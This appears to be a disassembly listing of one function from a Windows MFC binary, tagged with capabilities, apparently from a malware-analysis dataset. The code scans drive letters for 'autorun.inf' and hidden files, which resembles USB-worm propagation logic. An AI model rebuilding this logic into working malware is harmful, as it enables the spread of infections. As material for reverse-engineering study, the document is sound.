Function at 0x413780
Capabilities:
Get file attributes
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x42640b
mov eax, dword fs:[0]
push eax
sub esp, 0x4c8
mov eax, dword [0x435028]
xor eax, esp
mov dword [esp + 0x4c0], eax
push ebx
push esi
push edi
mov eax, dword [0x435028]
xor eax, esp
push eax
lea eax, [esp + 0x4d8]
mov dword fs:[0], eax
cmp dword [ebp + 0xc], 0
mov eax, dword [ebp + 8]
mov ebx, edx
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
je 0x413a28
test eax, eax
je 0x413a28
cmp dword [ecx + 0xc], 0
je 0x4137ea
call sub.MFC80U.DLL_Ordinal_5434
mov eax, dword [0x429fb0]
mov ecx, dword [0x429fb4]
push 0x34
lea edx, [esp + 0x44]
push 0
push edx
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], ecx
call sub.MSVCR80.dll_memset
push 0xc6
lea eax, [esp + 0x216]
push 0
push eax
mov word [esp + 0x21c], 0
call sub.MSVCR80.dll_memset
mov ecx, 7
mov esi, str.A:_autorun.inf
lea edi, [esp + 0x8c]
rep movsd dword es:[edi], dword [esi]
push 0xaa
lea ecx, [esp + 0xae]
push 0
push ecx
mov byte [esp + 0x37], 0
movsw word es:[edi], word [esi]
call sub.MSVCR80.dll_memset
mov edi, dword [sym.imp.MSVCR80.dll_wcscpy_s]
lea edx, [esp + 0x98]
push edx
lea eax, [esp + 0x164]
push 0x64
push eax
call edi
push ebx
lea ecx, [esp + 0x170]
push 0x64
push ecx
call dword [sym.imp.MSVCR80.dll_wcscat_s]
xor esi, esi
add esp, 0x3c
cmp dword [ebp + 0xc], esi
jbe 0x4138e5
lea esp, [esp]
mov edx, dword [esp + 0x18]
movzx eax, word [edx + esi*2]
push ebx
lea ecx, [esp + 0x78]
mov word [esp + 0x78], ax
mov word [esp + 0x140], ax
call fcn.00413b80
test al, al
je 0x4138dd
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x74]
push eax
mov byte [esp + 0x17], 1
call sub.MFC80U.DLL_Ordinal_1003
push ebx
lea edi, [esp + 0x140]
lea ecx, [esp + 0x78]
call fcn.00413a50
mov edi, dword [sym.imp.MSVCR80.dll_wcscpy_s]
add esi, 1
cmp esi, dword [ebp + 0xc]
jb 0x413890
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
jbe 0x413a22
jmp 0x4138f8
mov edi, dword [sym.imp.MSVCR80.dll_wcscpy_s]
mov ecx, dword [esp + 0x18]
movzx eax, word [ecx + ebx*2]
lea edx, [esp + 0x38]
push edx
mov word [esp + 0x3c], ax
mov word [esp + 0x78], ax
mov word [esp + 0x140], ax
lea eax, [esp + 0x208]
push 0x64
push eax
call edi
push 0x429890
lea ecx, [esp + 0x214]
push 0x64
push ecx
call dword [sym.imp.MSVCR80.dll_wcscat_s]
add esp, 0x18
lea ecx, [esp + 0x20]
call sub.MFC80U.DLL_Ordinal_386
push 0
lea edx, [esp + 0x208]
push edx
lea ecx, [esp + 0x28]
mov dword [esp + 0x4e8], 0
call sub.MFC80U.DLL_Ordinal_2271
test eax, eax
je 0x4139de
lea ecx, [esp + 0x20]
call sub.MFC80U.DLL_Ordinal_2279
mov esi, eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x24]
call sub.MFC80U.DLL_Ordinal_2745
mov eax, dword [eax]
push eax
lea ecx, [esp + 0x2d0]
push 0x100
push ecx
call edi
add esp, 0xc
lea ecx, [esp + 0x1c]
call dword [sym.imp.MFC80U.DLL_Ordinal_577]
lea edx, [esp + 0x2cc]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 2
je 0x4139da
test al, 0x10
jne 0x4139da
lea ecx, [esp + 0x2cc]
call fcn.0040e070
test eax, eax
jle 0x4139da
cmp eax, 6
je 0x4139da
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x2cc]
push eax
call sub.MFC80U.DLL_Ordinal_1003
test esi, esi
jne 0x413966
lea ecx, [esp + 0x20]
call sub.MFC80U.DLL_Ordinal_1431
mov esi, dword [esp + 0x14]
push esi
lea edi, [esp + 0x78]
call fcn.004130d0
push esi
lea edi, [esp + 0x140]
call fcn.004130d0
lea ecx, [esp + 0x20]
mov dword [esp + 0x4e0], 0xffffffff
call sub.MFC80U.DLL_Ordinal_631
add ebx, 1
cmp ebx, dword [ebp + 0xc]
jb 0x4138f2
mov al, byte [esp + 0x13]
jmp 0x413a2a
xor al, al
mov ecx, dword [esp + 0x4d8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x4c0]
xor ecx, esp
call fcn.00422de8
mov esp, ebp
pop ebp
ret 8